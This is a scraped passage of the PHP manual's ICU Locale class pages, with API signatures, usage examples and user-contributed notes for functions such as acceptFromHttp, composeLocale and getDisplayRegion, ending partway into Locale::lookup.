  • » ICU Locale api

Table of Contents

  • Locale::acceptFromHttp — Tries to find out best available locale based on HTTP "Accept-Language" header
  • Locale::canonicalize — Canonicalize the locale string
  • Locale::composeLocale — Returns a correctly ordered and delimited locale ID
  • Locale::filterMatches — Checks if a language tag filter matches with locale
  • Locale::getAllVariants — Gets the variants for the input locale
  • Locale::getDefault — Gets the default locale value from the INTL global 'default_locale'
  • Locale::getDisplayLanguage — Returns an appropriately localized display name for language of the inputlocale
  • Locale::getDisplayName — Returns an appropriately localized display name for the input locale
  • Locale::getDisplayRegion — Returns an appropriately localized display name for region of the input locale
  • Locale::getDisplayScript — Returns an appropriately localized display name for script of the input locale
  • Locale::getDisplayVariant — Returns an appropriately localized display name for variants of the input locale
  • Locale::getKeywords — Gets the keywords for the input locale
  • Locale::getPrimaryLanguage — Gets the primary language for the input locale
  • Locale::getRegion — Gets the region for the input locale
  • Locale::getScript — Gets the script for the input locale
  • Locale::lookup — Searches the language tag list for the best match to the language
  • Locale::parseLocale — Returns a key-value array of locale ID subtag elements
  • Locale::setDefault — Sets the default runtime locale

User Contributed Notes

There are no user contributed notes for this page.


Tries to find out best available locale based on HTTP "Accept-Language" header

  • ? Locale
  • Locale::canonicalize ?
  • PHP Manual
  • Locale
  • Tries to find out best available locale based on HTTP "Accept-Language" header

Locale::acceptFromHttp

locale_accept_from_http

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::acceptFromHttp -- locale_accept_from_http — Tries to find out best available locale based on HTTP "Accept-Language" header

说明

面向对象风格

public static Locale::acceptFromHttp(string $header): string|false

过程化风格

locale_accept_from_http(string $header): string|false

Tries to find locale that can satisfy the language list that is requested by the HTTP "Accept-Language" header.

参数

header

The string containing the "Accept-Language" header according to format in RFC 2616.

返回值

The corresponding locale identifier.

Returns false when the length of header exceeds INTL_MAX_LOCALE_LEN.

示例

Example #1 locale_accept_from_http() example

<?php
$locale = locale_accept_from_http($_SERVER['HTTP_ACCEPT_LANGUAGE']);
echo $locale;
?>

Example #2 OO example

<?php
$locale = Locale::acceptFromHttp($_SERVER['HTTP_ACCEPT_LANGUAGE']);
echo $locale;
?>

以上示例会输出：

en_US

参见

  • locale_lookup() - Searches the language tag list for the best match to the language

User Contributed Notes

bill at m$ dot com 07-May-2023 09:29
A nice way to detect humans. Bots usually dont have this HTTP_ACCEPT_LANGUAGE set.
bohwaz 28-Jan-2022 11:26
Please note that this method can throw IntlException in some cases when the passed header string is invalid AND you have enabled exceptions.  For example:

<?php

ini_set('intl.use_exceptions', 1);

$header = 'fr-FR,fr;q=0.9,fr;q=0.9;q=0.8,en-gb;q=0.8;q=0.7,en;q=0.6,en;q=0.7;q=0.5,*;q=0.5;q=0.4';
var_dump(locale_accept_from_http($header));

?>

Returns:

PHP Warning:  Uncaught IntlException: locale_accept_from_http: failed to find acceptable locale in ...
mollasadra at g dot com 16-Apr-2018 03:29
Didn't see this being documented anywhere and the bug hasn't been addressed yet, so to save headache for otherS, this method does a little weird thing with these different locales:

php > echo locale_accept_from_http("zh_TW");
zh
php > echo locale_accept_from_http("zh_CN");
zh
rasmus at mindplay dot dk 22-Nov-2017 02:44
If you're struggling to figure out how to use this function in a project that only supports certain languages, move along.

Unfortunately, this function doesn't let you specify languages supported by your project - and since the internal header parsing and negotiation logic isn't exposed in any other way, you'll most likely want to ditch this function and go for a custom implementation of the same thing:

https://github.com/willdurand/Negotiation
Adam Lange 14-Oct-2012 06:50
It's good to mention that if user browser will not send HTTP_ACCEPT_LANGUAGE, the output from:

 Locale::acceptFromHttp($_SERVER['HTTP_ACCEPT_LANGUAGE']);

Will be null.

So remember to set up a fail over scenario!


Canonicalize the locale string

  • ? Locale::acceptFromHttp
  • Locale::composeLocale ?
  • PHP Manual
  • Locale
  • Canonicalize the locale string

Locale::canonicalize

locale_canonicalize

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::canonicalize -- locale_canonicalize — Canonicalize the locale string

说明

public static Locale::canonicalize(string $locale): ?string

Warning

本函数还未编写文档，仅有参数列表。

参数

locale

返回值

Canonicalized locale string.

当 locale 的长度超过 INTL_MAX_LOCALE_LEN 时返回 null。

User Contributed Notes

jerome at chaman dot ca 25-Nov-2015 03:29
this method performs Level 1 and Level 2 canonicalization according to ICU standards. See http://userguide.icu-project.org/locale#TOC-Canonicalization.

echo \Locale::canonicalize ( 'en-US.utf8' );
// "en_U"
echo \Locale::canonicalize ( 'FR-fr@EURO' );
// "fr_FR@currency=EUR"
echo \Locale::canonicalize ( '' );
// "en_US_POSIX"


Returns a correctly ordered and delimited locale ID

  • ? Locale::canonicalize
  • Locale::filterMatches ?
  • PHP Manual
  • Locale
  • Returns a correctly ordered and delimited locale ID

Locale::composeLocale

locale_compose

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::composeLocale -- locale_compose — Returns a correctly ordered and delimited locale ID

说明

面向对象风格

public static Locale::composeLocale(array $subtags): string|false

过程化风格

locale_compose(array $subtags): string|false

Returns a correctly ordered and delimited locale ID the keys identify the particular locale ID subtags, and the values are the associated subtag values.

参数

subtags

An array containing a list of key-value pairs, where the keys identify the particular locale ID subtags, and the values are the associated subtag values.

Note:

The 'variant' and 'private' subtags can take maximum 15 values whereas 'extlang' can take maximum 3 values. For instance, variants are allowed with the suffix ranging from 0-14. Hence the keys for the input array can be variant0, variant1, ...,variant14. In the returned locale id, the subtag is ordered by suffix resulting in variant0 followed by variant1 followed by variant2 and so on.

Alternatively, the 'variant', 'private' and 'extlang' values can be specified as array under specific key (e.g. 'variant'). In this case no limits on the number of recognized subtags apply.

返回值

The corresponding locale identifier, or false when subtags is empty.

示例

Example #1 locale_compose() example

<?php
$arr = array(
'language'=>'en',
'script' =>'Hans',
'region' =>'CN',
'variant2'=>'rozaj',
'variant1'=>'nedis',
'private1'=>'prv1',
'private2'=>'prv2',
);
echo locale_compose($arr);
?>

Example #2 OO example

<?php
$arr = array(
'language'=>'en' ,
'script' =>'Hans',
'region' =>'CN',
'variant2'=>'rozaj',
'variant1'=>'nedis',
'private1'=>'prv1',
'private2'=>'prv2',
);
echo Locale::composeLocale($arr);
?>

以上示例会输出：

Locale: en_Hans_CN_nedis_rozaj_x_prv1_prv2

Example #3 Subtag limits

If subtags are given as separate keys with numeric suffix, unsupported keys are silently ignored (in this case 'extlang3'), and ordered in the result by numeric suffix. There are no limits, if subtags are given as array; the order is as given.

<?php
$arr = array(
'language' => 'en',
'script' => 'Hans',
'region' => 'CN',
'extlang3' => 'd',
'extlang2' => 'c',
'extlang1' => 'b',
'extlang0' => 'a',
);
echo locale_compose($arr), PHP_EOL;

$arr = array(
'language' => 'en',
'script' => 'Hans',
'region' => 'CN',
'extlang' => ['a', 'b', 'c', 'd'],
);
echo locale_compose($arr), PHP_EOL;
?>

以上示例会输出：

en_a_b_c_Hans_CN
en_a_b_c_d_Hans_CN

参见

  • locale_parse() - Returns a key-value array of locale ID subtag elements

User Contributed Notes

There are no user contributed notes for this page.


Checks if a language tag filter matches with locale

  • ? Locale::composeLocale
  • Locale::getAllVariants ?
  • PHP Manual
  • Locale
  • Checks if a language tag filter matches with locale

Locale::filterMatches

locale_filter_matches

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::filterMatches -- locale_filter_matches — Checks if a language tag filter matches with locale

说明

面向对象风格

public static Locale::filterMatches(string $languageTag, string $locale, bool $canonicalize = false): ?bool

过程化风格

locale_filter_matches(string $languageTag, string $locale, bool $canonicalize = false): ?bool

Checks if a languageTag filter matches with locale according to RFC 4647's basic filtering algorithm

参数

languageTag

The language tag to check

locale

The language range to check against

canonicalize

If true, the arguments will be converted to canonical form before matching.

返回值

true if locale matches languageTag false otherwise.

当 locale 的长度超过 INTL_MAX_LOCALE_LEN 时返回 null。

示例

Example #1 locale_filter_matches() example

<?php
echo (locale_filter_matches('de-DEVA','de-DE', false)) ? "Matches" : "Does not match";
echo '; ';
echo (locale_filter_matches('de-DE_1996','de-DE', false)) ? "Matches" : "Does not match";
?>

Example #2 OO example

<?php
echo (Locale::filterMatches('de-DEVA','de-DE', false)) ? "Matches" : "Does not match";
echo '; ';
echo (Locale::filterMatches('de-DE-1996','de-DE', false)) ? "Matches" : "Does not match";
?>

以上示例会输出：

Does not match; Matches

参见

  • locale_lookup() - Searches the language tag list for the best match to the language

User Contributed Notes

There are no user contributed notes for this page.


Gets the variants for the input locale

  • ? Locale::filterMatches
  • Locale::getDefault ?
  • PHP Manual
  • Locale
  • Gets the variants for the input locale

Locale::getAllVariants

locale_get_all_variants

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getAllVariants -- locale_get_all_variants — Gets the variants for the input locale

说明

面向对象风格

public static Locale::getAllVariants(string $locale): ?array

过程化风格

locale_get_all_variants(string $locale): ?array

Gets the variants for the input locale

参数

locale

The locale to extract the variants from

返回值

The array containing the list of all variants subtag for the locale or null if not present

当 locale 的长度超过 INTL_MAX_LOCALE_LEN 时返回 null。

示例

Example #1 locale_get_all_variants() example

<?php
$arr = locale_get_all_variants('sl_IT_NEDIS_ROJAZ_1901');
var_export( $arr );
?>

Example #2 OO example

<?php
$arr = Locale::getAllVariants('sl_IT_NEDIS_ROJAZ_1901');
var_export( $arr );
?>

以上示例会输出：

array (
    0 => 'NEDIS',
    1 => 'ROJAZ',
    2 => '1901',
)

参见

  • locale_get_primary_language() - Gets the primary language for the input locale
  • locale_get_script() - Gets the script for the input locale
  • locale_get_region() - Gets the region for the input locale

User Contributed Notes

There are no user contributed notes for this page.


Gets the default locale value from the INTL global 'default_locale'

  • ? Locale::getAllVariants
  • Locale::getDisplayLanguage ?
  • PHP Manual
  • Locale
  • Gets the default locale value from the INTL global 'default_locale'

Locale::getDefault

locale_get_default

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getDefault -- locale_get_default — Gets the default locale value from the INTL global 'default_locale'

说明

面向对象风格

public static Locale::getDefault(): string

过程化风格

locale_get_default(): string

Gets the default locale value. At the PHP initialization this value is set to 'intl.default_locale' value from php.ini if that value exists or from ICU's function uloc_getDefault().

参数

返回值

The current runtime locale

示例

Example #1 locale_get_default() example

<?php
ini_set('intl.default_locale', 'de-DE');
echo locale_get_default();
echo '; ';
locale_set_default('fr');
echo locale_get_default();
?>

Example #2 OO example

<?php
ini_set('intl.default_locale', 'de-DE');
echo Locale::getDefault();
echo '; ';
Locale::setDefault('fr');
echo Locale::getDefault();
?>

以上示例会输出：

de-DE; fr

参见

  • locale_set_default() - Sets the default runtime locale

User Contributed Notes

tjsturos 10-May-2019 07:41
If you don't do anything, you can still call these methods and get the server's default locale.

In the case of Linux (Ubuntu 16.04), it uses the $LANG global variable.

Using the REPL:

echo locale_get_default();   // en_US

and then resetting the $LANG:

tiikeri@ubuntu:~$ LANG="fi_FI.UTF-8"

and back to the REPL:

echo locale_get_default();   // fi_FI


Returns an appropriately localized display name for language of the inputlocale

  • ? Locale::getDefault
  • Locale::getDisplayName ?
  • PHP Manual
  • Locale
  • Returns an appropriately localized display name for language of the inputlocale

Locale::getDisplayLanguage

locale_get_display_language

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getDisplayLanguage -- locale_get_display_language — Returns an appropriately localized display name for language of the inputlocale

说明

面向对象风格

public static Locale::getDisplayLanguage(string $locale, ?string $displayLocale = null): string|false

过程化风格

locale_get_display_language(string $locale, ?string $displayLocale = null): string|false

Returns an appropriately localized display name for language of the input locale. If is null then the default locale is used.

参数

locale

The locale to return a display language for

displayLocale

Optional format locale to use to display the language name

返回值

Display name of the language for the locale in the format appropriate for displayLocale, 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | displayLocale is nullable now.

示例

Example #1 locale_get_display_language() example

<?php
echo locale_get_display_language('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_language('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_language('sl-Latn-IT-nedis', 'de');
?>

Example #2 OO example

<?php
echo Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'de');
?>

以上示例会输出：

Slovenian;
slov\xc3\xa8ne;
Slowenisch

参见

  • locale_get_display_name() - Returns an appropriately localized display name for the input locale
  • locale_get_display_script() - Returns an appropriately localized display name for script of the input locale
  • locale_get_display_region() - Returns an appropriately localized display name for region of the input locale
  • locale_get_display_variant() - Returns an appropriately localized display name for variants of the input locale

User Contributed Notes

jake at qzdesign dot co dot uk 16-Nov-2019 09:57
If `$locale` is invalid, the return value is actually the value of `$locale`, not `NULL` or `FALSE` as you might expect.

(If `$in_locale` is invalid, but `$locale` is valid, the return value is the language name in the default locale.)
heitor dot siller at gmail dot com 24-Jul-2011 02:43
To display special characters correctly in a web browser, it's a good idea to decode the result data with utf8_decode:

<?php

echo utf8_decode(Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'fr'));

echo utf8_decode(Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'pt-BR'));

?>


Returns an appropriately localized display name for the input locale

  • ? Locale::getDisplayLanguage
  • Locale::getDisplayRegion ?
  • PHP Manual
  • Locale
  • Returns an appropriately localized display name for the input locale

Locale::getDisplayName

locale_get_display_name

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getDisplayName -- locale_get_display_name — Returns an appropriately localized display name for the input locale

说明

面向对象风格

public static Locale::getDisplayName(string $locale, ?string $displayLocale = null): string|false

过程化风格

locale_get_display_name(string $locale, ?string $displayLocale = null): string|false

Returns an appropriately localized display name for the input locale. If locale is null then the default locale is used.

参数

locale

The locale to return a display name for.

displayLocale

optional format locale

返回值

Display name of the locale in the format appropriate for displayLocale, 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | displayLocale is nullable now.

示例

Example #1 locale_get_display_name() example

<?php
echo locale_get_display_name('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_name('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_name('sl-Latn-IT-nedis', 'de');
?>

Example #2 OO example

<?php
echo Locale::getDisplayName('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayName('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayName('sl-Latn-IT-nedis', 'de');
?>

以上示例会输出：

Slovenian (Latin, Italy, Natisone dialect);
slov\xc3\xa8ne (latin, Italie, dialecte de Natisone;
Slowenisch (Lateinisch, Italien, NEDIS)

参见

  • locale_get_display_language() - Returns an appropriately localized display name for language of the inputlocale
  • locale_get_display_script() - Returns an appropriately localized display name for script of the input locale
  • locale_get_display_region() - Returns an appropriately localized display name for region of the input locale
  • locale_get_display_variant() - Returns an appropriately localized display name for variants of the input locale

User Contributed Notes

There are no user contributed notes for this page.


Returns an appropriately localized display name for region of the input locale

  • ? Locale::getDisplayName
  • Locale::getDisplayScript ?
  • PHP Manual
  • Locale
  • Returns an appropriately localized display name for region of the input locale

Locale::getDisplayRegion

locale_get_display_region

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getDisplayRegion -- locale_get_display_region — Returns an appropriately localized display name for region of the input locale

说明

面向对象风格

public static Locale::getDisplayRegion(string $locale, ?string $displayLocale = null): string|false

过程化风格

locale_get_display_region(string $locale, ?string $displayLocale = null): string|false

Returns an appropriately localized display name for region of the input locale. If is null then the default locale is used.

参数

locale

The locale to return a display region for.

displayLocale

Optional format locale to use to display the region name

返回值

Display name of the region for the locale in the format appropriate for displayLocale, 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | displayLocale is nullable now.

示例

Example #1 locale_get_display_region() example

<?php
echo locale_get_display_region('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_region('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_region('sl-Latn-IT-nedis', 'de');
?>

Example #2 OO example

<?php
echo Locale::getDisplayRegion('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayRegion('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayRegion('sl-Latn-IT-nedis', 'de');
?>

以上示例会输出：

Italy;
Italie;
Italien

参见

  • locale_get_display_name() - Returns an appropriately localized display name for the input locale
  • locale_get_display_language() - Returns an appropriately localized display name for language of the inputlocale
  • locale_get_display_script() - Returns an appropriately localized display name for script of the input locale
  • locale_get_display_variant() - Returns an appropriately localized display name for variants of the input locale

User Contributed Notes

info at domain name (see note) 16-Sep-2016 01:20
in fact , I would do exactly the opposite :  find the country code (iso3166) from the country name. Found on the web, one solution is to use a table of correspondence between the country code and the country name for each language.
There are too many countries and language code for this type of table.

With a PHP function , the convertion can be performed as well:

function countryNameToISO3166($country_name, $language) {
    if (strlen($language) != 2) {
        //Language must be on 2 caracters
        return NULL;
    }

    //Set uppercase if never
    $language = strtoupper($language);

    $countrycode_list = array('AF', 'AX', 'AL', 'DZ', 'AS', 'AD', 'AO', 'AI', 'AQ', 'AG', 'AR', 'AM', 'AW', 'AU', 'AT', 'AZ', 'BS', 'BH', 'BD', 'BB', 'BY', 'BE', 'BZ', 'BJ', 'BM', 'BT', 'BO', 'BQ', 'BA', 'BW', 'BV', 'BR', 'IO', 'BN', 'BG', 'BF', 'BI', 'KH', 'CM', 'CA', 'CV', 'KY', 'CF', 'TD', 'CL', 'CN', 'CX', 'CC', 'CO', 'KM', 'CG', 'CD', 'CK', 'CR', 'CI', 'HR', 'CU', 'CW', 'CY', 'CZ', 'DK', 'DJ', 'DM', 'DO', 'EC', 'EG', 'SV', 'GQ', 'ER', 'EE', 'ET', 'FK', 'FO', 'FJ', 'FI', 'FR', 'GF', 'PF', 'TF', 'GA', 'GM', 'GE', 'DE', 'GH', 'GI', 'GR', 'GL', 'GD', 'GP', 'GU', 'GT', 'GG', 'GN', 'GW', 'GY', 'HT', 'HM', 'VA', 'HN', 'HK', 'HU', 'IS', 'IN', 'ID', 'IR', 'IQ', 'IE', 'IM', 'IL', 'IT', 'JM', 'JP', 'JE', 'JO', 'KZ', 'KE', 'KI', 'KP', 'KR', 'KW', 'KG', 'LA', 'LV', 'LB', 'LS', 'LR', 'LY', 'LI', 'LT', 'LU', 'MO', 'MK', 'MG', 'MW', 'MY', 'MV', 'ML', 'MT', 'MH', 'MQ', 'MR', 'MU', 'YT', 'MX', 'FM', 'MD', 'MC', 'MN', 'ME', 'MS', 'MA', 'MZ', 'MM', 'NA', 'NR', 'NP', 'NL', 'NC', 'NZ', 'NI', 'NE', 'NG', 'NU', 'NF', 'MP', 'NO', 'OM', 'PK', 'PW', 'PS', 'PA', 'PG', 'PY', 'PE', 'PH', 'PN', 'PL', 'PT', 'PR', 'QA', 'RE', 'RO', 'RU', 'RW', 'BL', 'SH', 'KN', 'LC', 'MF', 'PM', 'VC', 'WS', 'SM', 'ST', 'SA', 'SN', 'RS', 'SC', 'SL', 'SG', 'SX', 'SK', 'SI', 'SB', 'SO', 'ZA', 'GS', 'SS', 'ES', 'LK', 'SD', 'SR', 'SJ', 'SZ', 'SE', 'CH', 'SY', 'TW', 'TJ', 'TZ', 'TH', 'TL', 'TG', 'TK', 'TO', 'TT', 'TN', 'TR', 'TM', 'TC', 'TV', 'UG', 'UA', 'AE', 'GB', 'US', 'UM', 'UY', 'UZ', 'VU', 'VE', 'VN', 'VG', 'VI', 'WF', 'EH', 'YE', 'ZM', 'ZW');
    $ISO3166 = NULL;
    //Loop all country codes
    foreach ($countrycode_list as $countrycode) {
        $locale_cc = Locale::getDisplayRegion('-' . $countrycode, $language);
        //Case insensitive
        if (strcasecmp($country_name, $locale_cc) == 0) {
            $ISO3166 = $countrycode;
            break;
        }
    }
    //return NULL if not found or country code
    return $ISO3166;
}

Tests

$cc=countryNameToISO3166('Costa Rica','US');
echo '<br>(English) Country code for Costa Rica is '.$cc;
$cc=countryNameToISO3166('Royaume-Uni','FR');
echo '<br>(Fran?ais) Country code for Royaume-Uni is '.$cc;
$cc=countryNameToISO3166('Frankreich','DE');
echo '<br>(Deutsch) Country code for Frankreich is '.$cc;
//Wrong language
$cc=countryNameToISO3166('Royaume-Uni','US');
echo '<br>(English) Country code for Royaume-Uni is '.var_dump($cc);

returns

(English) Country code for Costa Rica is CR
(Fran?ais) Country code for Royaume-Uni is GB
(Deutsch) Country code for Frankreich is FR
(English) Country code for Royaume-Uni is NULL

Hope it can help someone other

http://www.fobec.com
mark at SHOULDREMOVE dot moderndeveloperllc dot com 08-Aug-2014 03:21
You don't have to have a fully-formed locale for the first parameter. This makes the function useful for getting the country name from any locale:

<?php
var_dump(Locale::getDisplayRegion('-US', 'fr'));

//Returns
string 'états-Unis' (length=11)
?>


Returns an appropriately localized display name for script of the input locale

  • ? Locale::getDisplayRegion
  • Locale::getDisplayVariant ?
  • PHP Manual
  • Locale
  • Returns an appropriately localized display name for script of the input locale

Locale::getDisplayScript

locale_get_display_script

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getDisplayScript -- locale_get_display_script — Returns an appropriately localized display name for script of the input locale

说明

面向对象风格

public static Locale::getDisplayScript(string $locale, ?string $displayLocale = null): string|false

过程化风格

locale_get_display_script(string $locale, ?string $displayLocale = null): string|false

Returns an appropriately localized display name for script of the input locale. If is null then the default locale is used.

参数

locale

The locale to return a display script for

displayLocale

Optional format locale to use to display the script name

返回值

Display name of the script for the locale in the format appropriate for displayLocale, 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | displayLocale is nullable now.

示例

Example #1 locale_get_display_script() example

<?php
echo locale_get_display_script('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_script('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_script('sl-Latn-IT-nedis', 'de');
?>

Example #2 OO example

<?php
echo Locale::getDisplayScript('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayScript('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayScript('sl-Latn-IT-nedis', 'de');
?>

以上示例会输出：

Latin;
latin;
Lateinisch

参见

  • locale_get_display_name() - Returns an appropriately localized display name for the input locale
  • locale_get_display_language() - Returns an appropriately localized display name for language of the inputlocale
  • locale_get_display_region() - Returns an appropriately localized display name for region of the input locale
  • locale_get_display_variant() - Returns an appropriately localized display name for variants of the input locale

User Contributed Notes

There are no user contributed notes for this page.


Returns an appropriately localized display name for variants of the input locale

  • ? Locale::getDisplayScript
  • Locale::getKeywords ?
  • PHP Manual
  • Locale
  • Returns an appropriately localized display name for variants of the input locale

Locale::getDisplayVariant

locale_get_display_variant

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getDisplayVariant -- locale_get_display_variant — Returns an appropriately localized display name for variants of the input locale

说明

面向对象风格

public static Locale::getDisplayVariant(string $locale, ?string $displayLocale = null): string|false

过程化风格

locale_get_display_variant(string $locale, ?string $displayLocale = null): string|false

Returns an appropriately localized display name for variants of the input locale. If is null then the default locale is used.

参数

locale

The locale to return a display variant for

displayLocale

Optional format locale to use to display the variant name

返回值

Display name of the variant for the locale in the format appropriate for displayLocale, 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | displayLocale is nullable now.

示例

Example #1 locale_get_display_variant() example

<?php
echo locale_get_display_variant('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_variant('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_variant('sl-Latn-IT-nedis', 'de');
?>

Example #2 OO example

<?php
echo Locale::getDisplayVariant('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayVariant('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayVariant('sl-Latn-IT-nedis', 'de');
?>

以上示例会输出：

Natisone dialect;
dialecte de Natisone;
NEDIS

参见

  • locale_get_display_name() - Returns an appropriately localized display name for the input locale
  • locale_get_display_language() - Returns an appropriately localized display name for language of the inputlocale
  • locale_get_display_script() - Returns an appropriately localized display name for script of the input locale
  • locale_get_display_region() - Returns an appropriately localized display name for region of the input locale

User Contributed Notes

There are no user contributed notes for this page.


Gets the keywords for the input locale

  • ? Locale::getDisplayVariant
  • Locale::getPrimaryLanguage ?
  • PHP Manual
  • Locale
  • Gets the keywords for the input locale

Locale::getKeywords

locale_get_keywords

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getKeywords -- locale_get_keywords — Gets the keywords for the input locale

说明

面向对象风格

public static Locale::getKeywords(string $locale): array|false|null

过程化风格

locale_get_keywords(string $locale): array|false|null

Gets the keywords for the input locale.

参数

locale

The locale to extract the keywords from

返回值

Associative array containing the keyword-value pairs for this locale

当 locale 的长度超过 INTL_MAX_LOCALE_LEN 时返回 null。

示例

Example #1 locale_get_keywords() example

<?php
$keywords_arr = locale_get_keywords('de_DE@currency=EUR;collation=PHONEBOOK');
if ($keywords_arr) {
foreach ($keywords_arr as $key => $value) {
echo "$key = $value\n";
}
}
?>

Example #2 OO example

<?php
$keywords_arr = Locale::getKeywords('de_DE@currency=EUR;collation=PHONEBOOK');
if ($keywords_arr) {
foreach ($keywords_arr as $key => $value) {
echo "$key = $value\n";
}
}
?>

以上示例会输出：

collation = PHONEBOOK
currency = EUR

参见

  • locale_get_all_variants() - Gets the variants for the input locale

User Contributed Notes

There are no user contributed notes for this page.


Gets the primary language for the input locale

  • ? Locale::getKeywords
  • Locale::getRegion ?
  • PHP Manual
  • Locale
  • Gets the primary language for the input locale

Locale::getPrimaryLanguage

locale_get_primary_language

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getPrimaryLanguage -- locale_get_primary_language — Gets the primary language for the input locale

说明

面向对象风格

public static Locale::getPrimaryLanguage(string $locale): ?string

过程化风格

locale_get_primary_language(string $locale): ?string

Gets the primary language for the input locale

参数

locale

The locale to extract the primary language code from

返回值

The language code associated with the language.

当 locale 的长度超过 INTL_MAX_LOCALE_LEN 时返回 null。

示例

Example #1 locale_get_primary_language() example

<?php
echo locale_get_primary_language('zh-Hant');
?>

Example #2 OO example

<?php
echo Locale::getPrimaryLanguage('zh-Hant');
?>

以上示例会输出：

zh

参见

  • locale_get_script() - Gets the script for the input locale
  • locale_get_region() - Gets the region for the input locale
  • locale_get_all_variants() - Gets the variants for the input locale

User Contributed Notes

Mahn 09-May-2015 11:48
The behaviour when a falsy value is passed as the $locale is undocumented, but it appears that it returns the primary language of the default system language. In my case:

    Locale::getPrimaryLanguage(null);

Returns 'en'. So make sure to test $locale before passing it to the method.


Gets the region for the input locale

  • ? Locale::getPrimaryLanguage
  • Locale::getScript ?
  • PHP Manual
  • Locale
  • Gets the region for the input locale

Locale::getRegion

locale_get_region

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getRegion -- locale_get_region — Gets the region for the input locale

说明

面向对象风格

public static Locale::getRegion(string $locale): ?string

过程化风格

locale_get_region(string $locale): ?string

Gets the region for the input locale.

参数

locale

The locale to extract the region code from

返回值

The region subtag for the locale or null if not present

当 locale 的长度超过 INTL_MAX_LOCALE_LEN 时返回 null。

示例

Example #1 locale_get_region() example

<?php
echo locale_get_region('de-CH-1901');
?>

Example #2 OO example

<?php
echo Locale::getRegion('de-CH-1901');
?>

以上示例会输出：

CH

参见

  • locale_get_primary_language() - Gets the primary language for the input locale
  • locale_get_script() - Gets the script for the input locale
  • locale_get_all_variants() - Gets the variants for the input locale

User Contributed Notes

Patanjali 30-Jan-2017 06:24
locale_get_region does no validation of whether the region exists, but just extracts the text that looks like it can be the region part of the locale, and formats it as uppercase.

It doesn't even have to be a 2-character code, but can be an invalid 3-character one.


Gets the script for the input locale

  • ? Locale::getRegion
  • Locale::lookup ?
  • PHP Manual
  • Locale
  • Gets the script for the input locale

Locale::getScript

locale_get_script

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getScript -- locale_get_script — Gets the script for the input locale

说明

面向对象风格

public static Locale::getScript(string $locale): ?string

过程化风格

locale_get_script(string $locale): ?string

Gets the script for the input locale.

参数

locale

The locale to extract the script code from

返回值

The script subtag for the locale or null if not present

示例

Example #1 locale_get_script() example

<?php
echo locale_get_script('sr-Cyrl');
?>

Example #2 OO example

<?php
echo Locale::getScript('sr-Cyrl');
?>

以上示例会输出：

Cyrl

参见

  • locale_get_primary_language() - Gets the primary language for the input locale
  • locale_get_region() - Gets the region for the input locale
  • locale_get_all_variants() - Gets the variants for the input locale

User Contributed Notes

Patanjali 30-Jan-2017 06:27
locale_get_script does no validation of whether the script exists, but just extracts the 4-character text that looks like it can be the script part of the locale, and formats it with an initial cap.


Searches the language tag list for the best match to the language

  • ? Locale::getScript
  • Locale::parseLocale ?
  • PHP Manual
  • Locale
  • Searches the language tag list for the best match to the language

Locale::lookup

locale_lookup

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::lookup -- locale_lookup — Searches the language tag list for the best match to the language

说明

面向对象风格

public static Locale::lookup(
array $languageTag,
string $locale,
bool $canonicalize = false,
?string $defaultLocale = null
): ?string

过程化风格

locale_lookup(
array $languageTag,
string $locale,
bool $canonicalize = false,
?string $defaultLocale = null
): ?string

Searches the items in languageTag for the best match to the language range specified in locale according to RFC 4647's lookup algorithm.

参数

languageTag

